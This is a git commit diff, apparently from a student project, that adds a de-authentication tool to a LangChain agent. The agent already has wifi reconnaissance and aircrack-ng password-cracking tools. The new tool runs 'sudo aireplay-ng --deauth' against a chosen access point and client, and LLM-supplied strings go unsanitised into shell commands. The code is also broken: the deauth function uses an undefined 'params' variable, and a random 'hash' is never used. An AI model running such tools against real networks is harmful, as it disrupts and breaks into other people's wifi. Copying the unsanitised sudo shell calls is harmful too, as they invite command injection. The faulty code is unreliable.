update tool again
This commit is contained in:
parent
9c7dece545
commit
e17bdcab70
@ -18,7 +18,8 @@ from tools import (
|
|||||||
wifi_network_reconnissance,
|
wifi_network_reconnissance,
|
||||||
wifi_encryption_cracking,
|
wifi_encryption_cracking,
|
||||||
packet_frame_transmission,
|
packet_frame_transmission,
|
||||||
packet_capture_reconnaissance
|
packet_capture_reconnaissance,
|
||||||
|
deauth_and_capture
|
||||||
)
|
)
|
||||||
|
|
||||||
from langchain import hub
|
from langchain import hub
|
||||||
@ -46,8 +47,9 @@ tools.extend(
|
|||||||
change_adapter_mode,
|
change_adapter_mode,
|
||||||
#wifi_network_reconnissance,
|
#wifi_network_reconnissance,
|
||||||
wifi_encryption_cracking,
|
wifi_encryption_cracking,
|
||||||
packet_frame_transmission,
|
#packet_frame_transmission,
|
||||||
packet_capture_reconnaissance
|
packet_capture_reconnaissance,
|
||||||
|
deauth_and_capture
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
base_prompt = hub.pull("langchain-ai/react-agent-template")
|
base_prompt = hub.pull("langchain-ai/react-agent-template")
|
||||||
|
18
hw6/tools.py
18
hw6/tools.py
@ -54,9 +54,27 @@ class CrackPassword(BaseModel):
|
|||||||
def wifi_encryption_cracking(params: str) -> str:
|
def wifi_encryption_cracking(params: str) -> str:
|
||||||
"""Can pass parameters to aircrack-ng to perform wifi encryption cracking"""
|
"""Can pass parameters to aircrack-ng to perform wifi encryption cracking"""
|
||||||
params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
|
params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
|
||||||
|
hash = random.getrandbits(16)
|
||||||
res = shell_tool.run({"commands": [f"aircrack-ng {params}"]})
|
res = shell_tool.run({"commands": [f"aircrack-ng {params}"]})
|
||||||
return res
|
return res
|
||||||
|
|
||||||
|
class DeauthAndCapture(BaseModel):
|
||||||
|
bssid: str = Field(
|
||||||
|
description="Should be a BSSID of a wifi AP"
|
||||||
|
)
|
||||||
|
client: str = Field(description="Should be a MAC of a client connected to the above BSSID, as the target of the de-auth")
|
||||||
|
|
||||||
|
|
||||||
|
@tool(
|
||||||
|
"Perform a de-auth and capture for a given wifi BSSID and client",
|
||||||
|
args_schema=DeauthAndCapture,
|
||||||
|
return_direct=False,
|
||||||
|
)
|
||||||
|
def deauth_and_capture(bssid: str, client:str) -> str:
|
||||||
|
"""Can pass bssid and client parameters to aireplay-ng to perform and capture a de-auth"""
|
||||||
|
params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
|
||||||
|
res = shell_tool.run({"commands": [f"sudo aireplay-ng --deauth 10 -a {bssid} -c {client} wlo1mon"]})
|
||||||
|
return res
|
||||||
|
|
||||||
class PacketTransmission(BaseModel):
|
class PacketTransmission(BaseModel):
|
||||||
params: str = Field(
|
params: str = Field(
|
||||||
|
Reference in New Issue
Block a user